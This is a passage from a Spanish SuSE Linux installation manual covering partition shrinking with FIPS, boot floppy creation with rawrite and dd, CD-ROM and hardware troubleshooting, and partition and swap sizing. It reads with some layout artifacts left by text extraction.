\dosutils\fips\fips20 .¡Antes de utilizar esta versión de || || |||||||| FIPS, se debe hacer en todo caso un respaldo de los datos! ||| | ||||||||_______________________________________________________________________________________________________________||_ o DOS/Windows 95/98 y varias particiones y, un respaldo completo de los datos (ingl. File-Backup): Al borrar la partición DOS generándola después con tamaño reducido, se pierden todos los datos contenidos en ella, así que se necesita un respaldo de ficheros previo; no es suficiente un respaldo de la imagen del disco (ingl. Image backup). Con fdisk se borran todas las parti- ciones antiguas y se generan las nuevas. El próximo paso consiste en formatear la(s) partición(es) e instalar el sistema operativo, copiando todos los ficheros desde el respaldo. 6. Arrancar la computadora desde cero. 7. Comprobar ahora si el sistema operativo funciona correctamente. Con YaST se puede generar después la partición Linux en el espacio del disco que se acaba de obtener. Posibles problemas Se pueden presentar los siguientes problemas: o No es posible achicar la partición lo suficiente, ya que existen al- gunos ficheros o bloques inamovibles: ver el apartado 2.7.1 en la pági- na 63Ficheros inamoviblessubsection.2.7.1. o El lector CD-ROM tiene ahora una letra de unidad diferente usan- do DOS o Windows. Bajo Windows 95/98 se cuelga el escritorio: ver el apartado 2.7.12 en la página 67Letra de unidad del lector CD- ROMsubsection.2.7.12. 2.6.2 Arrancar con el CD 2 Se puede arrancar no solamente con el CD 1 sino también con el CD 2. El primer CD usa una imagen de arranque (bootimage) de 2,88 MB mientras que el segundo usa la imagen tradicional de 1,44 MB. Si está claro que la computadora puede arrancar desde el CD pero se presen- tan problemas, use el CD 2. Desafortunadamente existen algunos BIOS que no reconocen correctamente las imágenes grandes. 2.6.3 Crear un disquete de arranque bajo DOS Requisito Se necesita un disquete HD de 3.5 pulgadas, formateado y la disquetera cor- respondiente que permita el arranque. Trabajando bajo Windows 95/98 no se arranca setup en una ventana MS-DOS pero sí en modo MS-DOS! * * 59 2. La primera instalación_de_SuSE______Linux______________________________________________________________________________________* *_______________________________________@ Información adicional En el CD 1 del directorio /disks hay un par de imágenes de disquetes (ingl. Images). Es posible copiar una de estas imágenes, mediante una utilidad especial, a un disquete que se convierte entonces en un disquete de arranque. Estas imágenes de disquete contienen también el ''Loader'' Syslinux y el pro- grama linuxrc . El programa Syslinux permite seleccionar un kernel durante el arranque y pasar parámetros al hardware. ~ El programa linuxrc presta asistencia cuando se cargan módulos del kernel especiales para el hardware y finalmente inicia la instalación. Normalmente se puede usar el disquete de arranque suministrado para arran- car la máquina. Solo en el caso de tener un hardware un tanto ''exótico'', que no sea soportado por el kernel de este disquete, es necesario generar un disquete de arranque del modo en que se explica en este apartado. Con Setup Paso por paso. . . Para crear un disquete de arranque se hace lo siguiente: 1. Poner en marcha Setup directamente desde el CD 1. 2. Seleccionar la_opción_`Floppy' y pulsar |______|-, después `Boot/Arranque' y de nuevo |_____-|. 3. Ahora se debe elegir un disquete con un kernel adecuado que soporte p. ej. la adaptadora SCSI. Setup muestra los datos más importantes sobre los diferentes kernels. Si se necesitara información adicional, se puede consultar el fichero \disks\readme.dos Recuerde el nombre del kernel ya que lo necesitará luego. Después pulse |______|-. 4. Ahora se graba el disquete. Insertar un disquete de 3.5 pulgadas dentro de la disquetera (debe llevar formato DOS) y seleccionar el tipo de disquete que se quiere generar. o Solo se necesita el disquete de arranque ''Boot'' (en SuSE Linux ya no es necesario el disquete_ `Root'). Colocar el cursor sobre `Boot/Arranque' y pulsar |_____-|. o Setup _pide_ reconfirmar que se ha insertado un disquete. Pulsar otra vez |_____-|. Ahora se procede a grabar el disquete. o Cuando la grabación esté lista, se presiona |______|-. o Seleccionar la opción `Listo', para salir de la pantalla y de Setup . Con rawrite Otra posibilidad para escribir el disquete en el prompt de DOS es el programa DOS rawrite.exe (que resulta un poco más lento). Se encuentra en el CD 1, directorio \dosutils\rawrite . Las imágenes estándar de disquetes de arranque se encuentran en el CD 1, directorio /disks; allí se puede leer el fichero README. La imagen bootdisk 60 ________________________________________________________________________________________2.6.__Bloques_de_información________* *______________________ es el patrón para el disquete estándar. Los verdaderos kernels se encuentran en el directorio /suse/images y tienen la extensión .ikr. Si resulta útil el disquete estándar suministrado con SuSE Linux, se procede de la siguiente manera, suponiendo que se encuentra en el directorio del CD: Q:> dosutils\rawrite\rawrite disks\bootdisk El asunto se complica un poco si se necesita un kernel para los chipsets EIDE especiales. En tal caso se copia primero la imagen estándar (bootdisk) en el disquete, sobreescribiendo posteriormente el kernel del disquete (linux) con el kernel EIDE especial(p. ej. con eide.ikr): Q:> dosutils\rawrite\rawrite disks\bootdisk Q:> copy suse\images\eide.ikr a:\linux 2.6.4 Crear un disquete de arranque bajo Unix Requisito Hay un sistema Unix/Linux que incorpora un lector CD-Rom a su disposi- ción; además se necesita un disquete libre de errores (formateado). Para crear el disquete de arranque se procede de la siguiente manera: 1. Si aún falta formatear el disquete: tierra: # fdformat /dev/fd0u1440 2. Montar el primer CD (Disk 1); p. ej. hacia /cdrom: tierra: # mount -tiso9660 /dev/cdrom /cdrom 3. Entrar al directorio disks en el CD: tierra: # cd /cdrom/disks 4. Generar el disquete de arranque con: tierra: # dd if=/cdrom/disks/bootdisk of=/dev/fd0 bs=8k Los ficheros LIESMICH (en alemán) y README en el directorio disks, indican las capacidades de cada kernel; estos ficheros se pueden visu- alizar con more o less (respecto a less véase apartado 19.7.3 en la página 474El contenido de los ficherossubsection.19.7.3). 5. Si se necesita un kernel diferente, se hace lo siguiente: tierra: # dd if=/cdrom/disks/bootdisk of=/dev/fd0 bs=8k tierra: # mount -t msdos /dev/fd0 /mnt tierra: # cp /cdrom/suse/images/eide.ikr /mnt/linux tierra: # umount /mnt 2.6.5 ¿Linux soporta mi lector CD-ROM? Se puede decir que por lo general, Linux soporta la mayoría de los lectores CD-ROM. o No se debe presentar ningún problema usando lectores del tipo + ATAPI. o En el caso de lectores tipo SCSI solo importa que la controladora SCSI, que lleva la conexión al CD-ROM, tenga soporte por parte de Linux. Hay una lista de controladoras soportadas en el banco de datos de componentes * * 61 2. La primera instalación_de_SuSE______Linux______________________________________________________________________________________* *_______________________________________@ CDB (paquete cdb, serie doc o bien en http://cdb.suse.de/). Si no encontrara soporte para su controladora SCSI y el disco duro está conectado a la misma, tal cual tiene un problema :-( o También hay muchos lectores CD-ROM propietarios que funcionan con Linux. No obstante, pueden presentarse problemas con este grupo de dispositivos. Si no se menciona explícitamente su lector, se puede probar con uno similar del mismo fabricante. o Ya son bastante comunes los lectores CD-ROM en el puerto paralelo. Lamentablemente no existe ningún estándar para esta clase de disposi- tivo, lo que ocasiona problemas con frecuencia. SuSE Linux incluye una serie de drivers en estado Alpha para algunos de estos lectores. Si no fun- ciona ningún driver solo queda el desvío por la partición DOS. Téngase en cuenta que existen algunos lectores soportados por Linux, que solo fun- cionan cuando han sido inicializados por el driver de DOS, efectuando después un arranque en caliente. 62 ____________________________________________________________________________________2.7.__Descripción_de_problemas__________* *______________________ 2.7 Descripción de problemas 2.7.1 Ficheros inamovibles Los programas de defragmentación generalmente no mueven los ficheros que tienen los atributos sistema o escondido (ingl. system, hidden). Para averiguar cuáles son los ficheros üc lpables", se puede generar con el sigu- iente comando, attrib \*.* /s > una lista de los nombres de todos los ficheros en el disco duro. En esta lista se pueden identificar los ficheros y hacerlos movibles con el comando attrib -S -H Conviene disponer un poco de mano izquierda para no romper ningún fichero de protección de copia, ni de intercambio ni tampoco ningún fichero especial de sistema. Después de la defragmentación se recomienda restablecer los atributos. _______________________________________________________________________________________________________________________ |||||||| Bajo Windows se puede usar para tal fin el ''Administrador de ficheros'' o || | |||||||| || | |||||||| bien el ''Explorador''. || | ||||||||_______________________________________________________________________________________________________________||_ Si esto no resulta hay que tragar grueso y modificar realmente las particiones del disco. Esto conlleva, en especial, la necesidad de salvar todos los datos para poder instalarlos otra vez después de haber particionado. También se podría conseguir un disco nuevo; tal vez favorezcan los precios que se en- cuentran en continuo descenso. . . 2.7.2 La distribución del teclado en modo MS-DOS no es correcta Introducir en modo DOS el siguiente comando: loadhigh keyb es`c:\windows\command\keyboard.sys o se introduce directamente en el fichero autoexec.bat. Si el directorio de Windows tiene otro nombre, se debe modificar el path indicado con el nombre correspondiente. 2.7.3 No hay driver de CD-ROM en modo MS-DOS En modo MS-DOS solamente se tiene acceso a los drivers que fueron carga- dos por los ficheros config.sys y autoexec.bat. Tiene sentido renunciar a los drivers CD-ROM (y a otros), ya que Windows 95/98 incorpora sus pro- pios drivers. Para poder usar los drivers en el modo MS-DOS es necesario generar un enlace a la interfaz de comandos MS-DOS y crear unos ficheros de arranque propios eligiendo `Propiedades', ficha ''Avanzado'', marcando `Modo MS-DOS' y `Especificar nueva configuración de MS-DOS'. Estos ficheros de arranque para la ventana MS-DOS deben contener los co- mandos para cargar los drivers. * * 63 2. La primera instalación_de_SuSE______Linux______________________________________________________________________________________* *_______________________________________@ 2.7.4 El CD es defectuoso En realidad esto es muy poco probable, pero ~ evidentemente ~ no se puede descartar por completo esta posibilidad. En tal caso diríjase a su distribuidor. 2.7.5 Un lector CD-ROM ATAPI se traba leyendo Cuando no se reconoce bien un lector CD-ROM + ATAPI o él mismo se traba leyendo, en muchos casos se debe a un fallo en la configuración de los componentes. Normalmente todos los dispositivos que se conectan al bus (E)IDE deben estar conectados en fila, es decir, que el primer dispositivo es el master en el primer canal y el segundo es el esclavo. El tercer dispositivo debe ser entonces master en el segundo canal y el cuarto allí el esclavo. En realidad resulta que muchas computadoras solamente contienen un disco duro y un CD-ROM que se encuentra entonces como master en el segundo canal. En algunas ocasiones Linux no maneja bien este vacío. Muchas veces se puede ayudar al kernel introduciendo un parámetro adicional (hdc=cdrom , ver también apartado 14.3.2 en la página 360Parámetros del kernel en el Boot- Promptsubsection.14.3.2). También puede ocurrir que un dispositivo tenga los ''jumpers'' mal colocados; esto quiere decir que está configurado como esclavo pero se encuentra como master en el segundo canal o viceversa. En caso de duda es recomendable comprobar y eventualmente corregir estas configuraciones. A parte de esto, hay una serie de ''chipsets'' EIDE defectuosos que en gran parte ya se conocen y el kernel contiene código para solventar los problemas. Existe un kernel especial para estos casos (ver el README en /disks) y sus parámetros se detallan en el apartado 14.3.2 en la página 360Parámetros del kernel en el Boot-Promptsubsection.14.3.2. ________________________________________________________________________________________________________* *________|| | Si no se puede arrancar en un principio, se puede probar con los sigu- * * |||| | * * ||| | ientes parámetros del kernel. ~ Deben ser introducidos en el ''prompt'' de * * ||| | arranque: * * ||| | * * ||| | boot: linux * * ||| | Atención: * * ||| | * * ||| | ¡No olvide el nombre del kernel (linux) por delante de los parámetros! * * ||| |_______________________________________________________________________________________________________* *________|||_ ~ hd=cdrom - simboliza a,b,c,d... y tiene el siguiente significa- do: ffl a - Maestro en la 1a controladora IDE ffl b - Esclavo en la 1a controladora IDE ffl c - Maestro en la 2a controladora IDE ffl . . . Ejemplo para : hdb=cdrom Con este parámetro se puede indicar al kernel donde está el lector CD- ROM del tipo + ATAPI, si es que el kernel no lo encuentra por sí mismo. ~ ide=noautotune - vale 0,1,2,3 y tiene el siguiente significado: 64 ____________________________________________________________________________________2.7.__Descripción_de_problemas__________* *______________________ ffl 0 - 1a controladora IDE ffl 1 - 2a controladora IDE ffl . . . Ejemplo para : ide0=noautotune Este parámetro ayuda en muchas ocasiones en combinación con discos duros del tipo (E)IDE. _______________________________________________________________________________________________________________________ |||||||| || | |||||||| En el apartado 14.3.2 en la página 360Parámetros del kernel en el Boot- || | |||||||| Promptsubsection.14.3.2 se pueden encontrar parámetros del kernel adi- || | |||||||| || | |||||||| cionales, para los problemas relacionados con hardware SCSI o con tarje- || | |||||||| tas de red. || | ||||||||_______________________________________________________________________________________________________________||_ 2.7.6 Lectores CD-ROM en el puerto paralelo El programa linuxrc ofrece durante la instalación todos los drivers disponibles. Por lo general no hace falta vigilar ningún comportamiento especial. Lamentablemente existen muchos lectores que aún no tienen soporte (p. ej. los de Freecom ). Incluso es posible que existan lectores que son iguales según sus etiquetas, pero que unos funcionan y otros no. Aparentemente los fabricantes han cambiado características internas sin notificación, usando otro número de serie. . . Algunos lectores deben ser inicializados con el driver de DOS antes de ser usados con Linux: 1. Arranque DOS y deje cargar el driver del + CD-ROM. 2. Introduzca el disquete de arranque de Linux. 3. Efectúe un arranque en caliente. Si realmente no hay soporte para el lector CD-ROM sigue siendo necesario hacer el rodeo, pasando por la partición DOS (ver apartado 2.4 en la pági- na 49Instalación sin soporte del lector CD-ROMsection.2.4). Para informarse sobre el estado actual de la programación del puerto paralelo bajo Linux, consulte http://www.torque.net/linux-pp.html. 2.7.7 Lectores CD-ROM ''propietarios'' ¡Para los lectores CD-ROM de Mitsumi hay diferentes drivers! Estos drivers especiales de Mitsumi están destinados concretamente al uso con lectores ''antiguos'' que se conectan a su propia controladora (p. ej. LU-005 o FX- 001). ¡En caso de lectores más recientes (como FX-400) hay que seleccionar la opción `ATAPI EIDE'! Lo mismo es válido para los lectores de Sony y Aztech. La única diferencia entre el driver Mitsumi MCDX y el ''normal'' es que, el primero es capaz de leer CDs de multisesión, así que en realidad para la instalación no importa cuál de los dos drivers se usa. No obstante, hemos decidido ofrecer este driver, explícitamente, porque podrían existir casos en los que uno de ellos funciona y el otro no y por lo tanto vale la pena mantener abiertas todas las posibilidades. * * 65 2. La primera instalación_de_SuSE______Linux______________________________________________________________________________________* *_______________________________________@ 2.7.8 Thinkpad ''se duerme'' durante la instalación En cualquier momento durante el arranque se abandona el programa :-( Aún no existe una solución estándar. Un camino factible para los modelos antiguos es la instalación desde DOS, utilizando setup.exe y cargando Linux con loadlin (ver el apartado 2.5 en la página 53Otra vía de instalación: Con setup y loadlinsection.2.5). A lo largo del tiempo nos han llegado los siguientes consejos; de hecho siempre estamos interesados en sus comentarios: o Desactivar en la BIOS todas las características de ahorro de energía; las palabras clave aquí, son: ''suspend mode'', ''power management'', sogsleep features. o Arrancando desde DOS, cargar el driver CD-ROM en config.sys con la opción /S (parece indicar sleep ). Esto se hace con el siguiente comando, en el cual se colocan los correspondientes valores en y . DEVICE = :\\IBMTPCD.SYS /S o Evitar accesos a la disquetera durante la instalación. 2.7.9 loadlin necesita más memoria para cargar el kernel No tiene suficiente memoria por debajo de los 640 KB. Se puede intentar excluir algunos drivers de los ficheros de arranque del sistema (config.sys, autoexec.bat) o de cargarlos a la memoria alta. Si hay unidades comprimidas bajo Windows 95/98 y la carga de drivers a memoria alta no funciona, se deben descomprimir entonces las unidades que lo estén. 2.7.10 loadlin no funciona Si hay algún problema con loadlin , se puede usar este comando con las op- ciones -v , -t o -d . Lo mejor para escribir la información del debug al fichero debug.out es usar: C:\> loadlin -d debug.out este fichero se puede enviar al soporte de SuSE . Para se debe introducir algo de la propia configuración de sis- tema (ver el apartado 4.9.1 en la página 144Ficheros necesarios para load- lin subsection.4.9.1). 2.7.11 DOS se encuentra en modo protegido loadlin solo puede arrancar el kernel cuando la computadora funciona ya sea en modo real o bien en el modo virtual del 8086 con un servidor VCPI al al- cance. Si se trabaja ahora bajo Windows 95/98, se debe llevar la computadora al modo MS-DOS. o Para hacerlo, se debe ir primero al botón `Inicio', `Apagar sis- tema', `Reiniciar equipo en modo MS-DOS' o 66 ____________________________________________________________________________________2.7.__Descripción_de_problemas__________* *______________________ o generar un enlace con la interfaz de comandos MS-DOS y modificar las propiedades de la siguiente manera: en `propiedades' seleccionar `Avanzado' y marcar allí `MS-DOS-Modus'. Cuando la interfaz de co- mandos arranca, la computadora cambia a modo MS-DOS. 2.7.12 Letra de unidad del lector CD-ROM En caso de haber generado una partición adicional en el disco duro usando fips , ésta sería del tipo DOS, por lo tanto, se modifican las subsiguientes letras de unidad y el lector CD-ROM ya no sería p. ej. D: pero tal vez E: . Esto se normalizará después de que se cambie el tipo de partición con YaST y la letra de unidad del lector CD-ROM será nuevamente D: . Si se presentan problemas al abrir el ''Escritorio'' o el explorador bajo Win- dows 95/98, éste aún intentará acceder a D: (para mantener el ejemplo). Por tanto, se debe ajustar la configuración del sistema modificando las propiedades del lector CD-ROM. 2.7.13 Problemas generales de hardware Aparece uno o varios de los siguientes fenómenos: o Problemas de sincronización accediendo al lector CD-ROM (Esperas pro- longadas, fallos de bus, paradas, fallos de segmentación (ingl. Segmenta- tion faults)). o Fallos que indica el kernel (u otros programas), deteniéndose con ''sig- nal 11'' o ''signal 7''. o Ficheros corruptos. o Fallo en acceso de memoria. o Visualización incorrecta en modo gráfico. o Error-crc accediendo la disquetera. o Paradas o cuelgues durante el proceso de arranque. o Fallos creando los sistemas de ficheros (p. ej. mke2fs da errores) o Fallos creando el área de intercambio (swap). o Otra clase de comportamiento ''extraño'' accediendo a algún componente del hardware. Causas Los fenómenos extraños mencionados arriba, se deben muy probablemente a hardware defectuoso o a daños en un punto crítico. Aparentemente hay algunas placas base con problemas de sincronización, que se hacen notar por errores del bus (la conexión física CPU-Memoria-PCI-ISA). Aunque el hardware trabaje correctamente p. ej. con DOS o con Windows, esto aún no dice nada sobre su estabilidad y configuración. Es posible que el hardware funcione bien con el acceso de memoria lento y por segmentos que realiza la + CPU, trabajando en modo real de 16bit (p. ej. bajo DOS o Windows), pero que tenga problemas con accesos lineales en ''Bursts'' de 32bit (como lo realiza Linux). * * 67 2. La primera instalación_de_SuSE______Linux______________________________________________________________________________________* *_______________________________________@ Otras fuentes de problemas son las CPU's mal refrigeradas o módulos de RAM (SIMMs) defectuosos, sensibles al calor o demasiado lentos. La Caché de segundo nivel puede ocasionar también estos efectos. De todos modos, el origen de estos problemas es el hardware y no Linux; Linux solamente saca a flote los problemas del hardware. También es cierto que Linux exige más a la computadora que otros sistemas operativos, lo que por una parte aumenta las prestaciones y por otra puede desencadenar los inconvenientes mencionados. Para Linux es muy impor- tante encontrar una base de hardware estable, ya que en caso contrario dene- garía (¡y con razón!) el servicio. Un sistema operativo que funciona con hardware dudoso representa un problema de seguridad serio. Consulte también http://www.bitwizard.nl/sig11. ¿Qué hacer entonces? Existe una serie de parámetros a repasar, que permiten ~ como mínimo ~ aislar el componente que ocasiona problemas. o Apagar mediante el Setup de la BIOS (CMOS) la caché interna y/o la externa. o Reducir la frecuencia del bus (para el VLB no más de 40 MHz, para el PCI-bus según la especificación un máximo de 66 MHz de frecuencia externa), modificando el Setup de la BIOS o los ''jumpers'' sobre la placa base. o Aumentar los ''Waitsates'' del acceso de CPU a la memoria o a la cache mediante modificaciones de la BIOS. o Verificar si la opción `15-16M Memory Hole' está activa en el Setup de la BIOS; si es así, desactívela! Linux no cuenta con estos ''huecos''. o En ''(Advanced) Chipset Setup'' configurar `CAS before RAS' si existe esta opción en el Setup de la BIOS. o Comprobar los módulos de memoria: ~ Chips de RAM diferentes (especialmente en un banco de memoria) son posibles fuentes de error. Es mejor evitar las mezclas. ~ Para un PCI bus con 66 MHz, los módulos de DRAM deben ser como máximo de 60 ns (o mejor menos); no hacer ''overclocking''. ~ El zócalo y la fijación de los SIMMs o DIMMs deben calzar perfec- tamente y no deben estar flojos ni mal alineados. Si no está seguro, saque los módulos y colóquelos de nuevo, comprobando que no haya corrosión ni suciedad en los contactos. ~ Cambie el orden de los módulos en los bancos de memoria. o Comprobar el funcionamiento del ventilador de la CPU y su correcta fi- jación sobre la misma; en caso de duda se puede usar pasta de conductivi- dad de calor (silicona). o Apagar mediante el Setup de la BIOS las funciones de ahorro de energía (''Power-Management'' (APM)). Se trata de una fuente de error especial- mente observada en conjunto con la controladora Adaptec 2940. 68 ____________________________________________________________________________________2.7.__Descripción_de_problemas____________* *____________________ o Algunas CPU's que no son Pentium originales de Intel pueden causar problemas, cuando el kernel o el compilador han sido optimizados para Pentium (p. ej. un AMD K6 o un Cyrix 6x86). En tal caso, optimice como máximo para procesadores del tipo 486 o incluso solo para 386; como último recurso use el kernel estándar de SuSE (ver apartado 3.7.2 en la página 105Configuración del kernel y arranquesubsection.3.7.2). o Comprobar en el Setup de la BIOS las configuraciones generales y usar en caso de necesidad las configuraciones por defecto `BIOS-Defaults'. o Si la BIOS es defectuosa el único remedio es hacer una actualización. Consulte al vendedor o al fabricante de la placa base. o La fuente de alimentación no tiene suficiente potencia o el voltaje oscila; pruebe de apagar o desconectar algunos dispositivos. o No usar ''Busmaster-DMA'', denominado también ''UDMA'' o ''Ultra- DMA''. Mantenga los cables-EIDE cortos y adquiera unos de buena cali- dad. * * 69 2. La primera instalación_de_SuSE______Linux______________________________________________________________________________________* *_______________________________________@ 2.8 Particionar para principiantes A los principiantes en el uso de Linux y del sistema de ficheros, se les podría presentar las siguientes preguntas: ¿Cuánto espacio hay que proporcionar a Linux? ¿Cuál es el mínimo? ¿Cuánto debería ser? ¿Cuál es la cantidad razonable? ¿Cómo particionar el espacio? Tipos de partición en el PC Cada disco duro contiene una tabla de particiones con espacio para cuatro entradas, de las cuales solo una puede ser una partición extendida y el resto primarias o todas podrían ser primarias. La esencia de las particiones primarias es relativamente simple pues se trata de una zona continua de cilindros, que está asignada a un sistema operati- vo. Con particiones primarias, solamente se puede establecer un máximo de cuatro; no caben más en la tabla de particiones. Aquí comienza el concepto de la partición extendida, la que también se repre- senta como una zona continua de cilindros. Sin embargo, es posible dividir la partición extendida en particiones lógicas, que no necesitan una entrada en la tabla de particiones. Se puede decir que se trata de una especie de contenedor para las particiones lógicas. Si se necesitan más de cuatro particiones es necesario definir la cuarta como partición extendida y asignar a ella todos los cilindros libres. En esta se pueden generar entonces casi tantas particiones como se desee (el máximo se sitúa en 15 para discos SCSI y en 63 para discos (E)IDE). A Linux no le importa en cuál tipo de partición (primaria o lógica) está instalado. Decidirse. . . Comenzamos con lo realmente importante: 180 MB, pero hablando de un uso especial de la computadora, trabajando solamente en la consola sin sistema X Window. Con la idea de usar X y algunas pocas aplicaciones hay que calcular con 500 MB; ambos casos incluyen la zona de intercambio (swap). ¿Cuánto debería ser? Alrededor de 1 GB. En el mundo de los discos de gigabytes no es pedir demasiado. Esta cantidad incluiría el espacio de swap pero sin límite superior. ¿Qué cantidad tiene sentido? Depende de lo que se quiera: o Trabajar bajo X Windows con aplicaciones modernas como KDE , Ap- plixware y Netscape necesita 1,2 GB. o Desarrollar con Linux pequeñas aplicaciones en el entorno del sistema X Window también requiere aprox. 1,2 GB. o Las dos modalidades anteriores: 2,0 GB o Compilar servidores X propios, grabar CDs propios y lo anterior: 4 GB. o Accionar un servidor FTP o de Internet: 700 MB sistema base + infinito. ¿Cómo particionar el espacio? Esta es una pregunta sencilla cuya respues- ta no lo es. 70 __________________________________________________________________________________2.9.__Particionar_para_avanzados__________* *______________________ _______________________________________________________________________________________________________________________|| |||||||| Con la robustez que ha alcanzado el sistema de ficheros Linux, no es mala ||| | ||||||||| idea ~ especialmente para principiantes ~ seguir la estrategia de YaST : || || |||||||| Prepare una partición pequeña al comienzo del disco para /boot (como ||| | |||||||| mínimo 2 MB, en caso de discos grandes 1 cilindro), una partición para la || | |||||||| || | |||||||| zona de intercambio (Swap) de 64 a 128 MB y el resto para /. || | ||||||||_______________________________________________________________________________________________________________||_ Si se desea hacer algunas particiones pero no muchas, funciona lo sigu- iente: o Hasta cerca de 500 MB: Una partición swap y una partición de root (/). o De 500 MB hasta 2 GB: Una partición pequeña para el kernel y para LILO al comienzo del disco duro (/boot) con cerca de 5-10 MB o bien un cilindro; la partición swap y el resto para la partición de root (/). o A partir de 2 GB: Boot (/boot, swap, root (250 MB)), home (/home con cerca de 100 MB) y el resto para programas (/usr); también podría ser una partición para /opt (ver en esta página). _______________________________________________________________________________________________________________________||| |||||||| || | |||||||| Para arrancar Linux directamente desde el disco duro, se necesita entonces || | |||||||| una partición Linux por debajo del ''límite de 1024 cilindros'' como par- || | |||||||| || | |||||||| tición de arranque (al respecto, leer en la página 123¿Dónde se puede in- || | |||||||| stalar LILO ?Hfootnote.17 y el en la página ????????). Este tema no tiene || | |||||||| || | |||||||| importancia si se arranca Linux desde DOS/Windows con loadlin . Desde || | |||||||| la versión 6.0 de SuSE Linux, la partición de arranque es generalmente la || | |||||||| || | |||||||| partición ''boot'' (/boot). || | ||||||||_______________________________________________________________________________________________________________||_ Se debe tener en cuenta que algunos programas ~ generalmente comerciales ~ instalan sus datos bajo /opt, así que es conveniente generar una partición propia para /opt o bien hacer la partición root más grande. En particular se trata de los paquetes y demostraciones listados en la tabla 2.1 en la página siguiente. El requerimiento de espacio indicado en la tabla es algo superior que el real. También se indican programas que no se distribuyen con SuSE Linux. 2.9 Particionar para avanzados En el apartado 2.8 en la página anterior tal como en el apartado 2.10.1 en la página 77Establecer particionessubsection.2.10.1, se ha comentado breve- mente sobre cómo particionar el sistema. El presente apartado quiere pro- porcionar información detallada con la cual se pueda crear un esquema de partición optimizado para el sistema. Es además especialmente interesante para aquellos que quieran configurar el sistema de manera óptima, respecto a seguridad y velocidad y que están ~ según las circunstancias ~ dispuestos a crear todo desde cero. ¡Arrasar con todo, esa es la idea! Es fundamental entender el modo de funcionar de un sistema de ficheros UNIX. En particular, los conceptos del punto de montaje (+ Mountpoint) tal como los de las particiones lógicas y extendidas, se deben haber entendido. Al principio es importante destacar que no existe un solo camino óptimo para todos pero que sí existen muchos caminos buenos para cada uno. No hay * * 71 2. La primera instalación_de_SuSE______Linux______________________________________________________________________________________* *_______________________________________@ ________________________________________________________________________________________________________* *________ KDE 170 MB GNOME 100 MB htdig 5 MB Fortify 2 MB dochost con text-búsqueda htdig 200 MB Wabi 10 MB Netscape 35 MB Arcad 350 MB Applixware 400 MB Eagle 18 MB StarOffice 150 MB Cyberscheduler Software 30 MB Cygnus Source-Navigator 20 MB SNiFF+ 45 MB Insure++ 45 MB pep 18 MB Oracle 8 400 MB Sybase ~ Adaptive Server Enterprise 170 MB ________________virtuoso_~_OpenLink_Virtuoso_Lite_Edition___________________________55_MB_______________* *________ Tabla 2.1: Ejemplos de paquetes bajo /opt ~ no todos estos se suministran con SuSE Linux. de qué preocuparse, ya que también habrá reglas y cifras concretas en este apartado. Como primer paso, se debe reunir la siguiente información: o ¿Para qué usará su máquina (servidor de ficheros, Compute- Server, estación de trabajo)? o ¿Cuántas personas trabajarán en la computadora (contado en logins si- multáneos)? o ¿Cuántos discos duros tiene la computadora, cuál tamaño tienen y cuál interfaz (EIDE, SCSI o incluso una controladora RAID)? 2.9.1 El tamaño de la partición de intercambio (swap) Todavía se puede leer en muchas partes: ''La cantidad de + Swap debe ser como mínimo el doble de la de RAM''. Esta regla pertenece al tiempo en el cual 8 MB de RAM era suficiente. Estos tiempos han pasado. La persona que compra hoy en día una computadora con menos de 32 MB ha sido muy mal aconsejada. Volviendo a la regla anterior: El fin era conseguir una computa- dora con cerca de 30 a 40 MB de + Memoria virtual. Con las aplicaciones modernas, hambrientas de memoria, hay que corregir estos valores hacia arriba. Normalmente 64 MB de memoria virtual es su- ficiente, pero es mejor no ser tacaño con ello. Compilando el kernel en el entorno X-Window y mirando las páginas de ayuda con Netscape mientras que en algún lugar se ejecuta Emacs , entonces con 64 MB de memoria virtu- al se está sin muchas reservas. 72 __________________________________________________________________________________2.9.__Particionar_para_avanzados__________* *______________________ Esto significa que el usuario normal se encuentra en el lado seguro con 128 MB de memoria virtual. Lo que no se debería hacer, bajo ningún pre- texto, es no proporcionar ningún tipo de memoria swap. Incluso una máquina con 256 MB RAM debería tener una zona de swap. La razón para ello se detalla en el apartado 2.9.3 en la página 76Tasa de transferencia a discos y tamaño de memoriaItem.53. También es posible que se ejecuten simulaciones con gasto de memoria del orden de gigabytes. Si existen dudas acerca de si Linux puede soportar o no semejante carga, se aconseja leer el apartado 2.9.2 en la página siguiente (tipo de uso: Compute-Server). 2.9.2 Formas de uso de la computadora Como estación de trabajo: Este es el tipo de uso más frecuente de una computadora con Linux. Para poder orientarse con valores concretos, hemos compilado un par de configu- raciones de ejemplo, que pueden ser usadas según necesidad, en la casa o en la empresa. Los espacios requeridos para un determinado tipo de instalación se encuentran en la tabla 2.2 _______________________________________________________________________________________________________________________ Instalación__________Espacio_necesario_en_disco__________________________________________________________________________ mínimo 180 MB hasta 400 MB pequeño 400 MB hasta 800 MB mediano 800 MB hasta 4 GB grande 4 GB hasta 8 GB _______________________________________________________________________________________________________________________ Tabla 2.2: Ejemplos de tamaños de instalación Naturalmente estos valores suben si se quiere guardar ficheros adicionales, aparte de los propios del sistema. Estación de trabajo estándar (muy pequeña) Le sobra un disco duro de alrededor de 500 MB y lo quiere usar para Linux. En este caso genere una partición de swap de 64 MB y reserve el resto para la partición root /. Estación de trabajo estándar (promedio) Le quedan 1,2 GB libres para Linux. Genere una partición de arranque pe- queña /boot (5-10 MB o un cilindro), 180 MB para /, 64 MB para el swap, 100 MB para /home y el resto para /usr; no olvide la zona para /opt (ver el apartado 2.8 en la página 71Decidirse. . . section.2.8). Para la determinación del tamaño de la partición root, vigile el hecho de que el banco de datos RPM se coloca en /var! * * 73 2. La primera instalación_de_SuSE______Linux______________________________________________________________________________________* *_______________________________________@ Estación de trabajo (lujo) Si tiene 1,2 GB o incluso más en varios discos, entonces no existe ninguna forma global de particionar. A este respecto consulte apartado 2.9.3. Como servidor de ficheros: Aquí todo depende realmente de las prestaciones del disco duro. En todo caso, son preferibles los discos duros tipo SCSI. También vale la pena tener en cuenta la potencia del disco (SCSI, SCSI Ultra Wide, revoluciones, etc.) y de la controladora. Un servidor de ficheros ofrece la posibilidad de almacenar datos de man- era centralizada. Se puede tratar de + Directorio de usuario (directorios de usuario), de un banco de datos o de otros ficheros diversos. La ventaja es básicamente una administración simplificada. Si el servidor de ficheros debe trabajar en una red amplia (a partir de 20 usuar- ios) la optimización del acceso al disco es esencial. Supongamos que se quiere construir un servidor de ficheros a base de Linux para servir con los directorios personales a 25 usuarios. Se calcula que cada usuario ocupará un máximo de 80 MB para sus datos personales. Un disco duro de 2 GB para montar /home es suficiente, suponiendo que los usuarios no siempre compilan en su + Directorio personal (home). Con 50 usuarios, el simple cálculo indica que es suficiente con 4 GB. En realidad resulta mejor montar /home en dos discos de 2 GB, 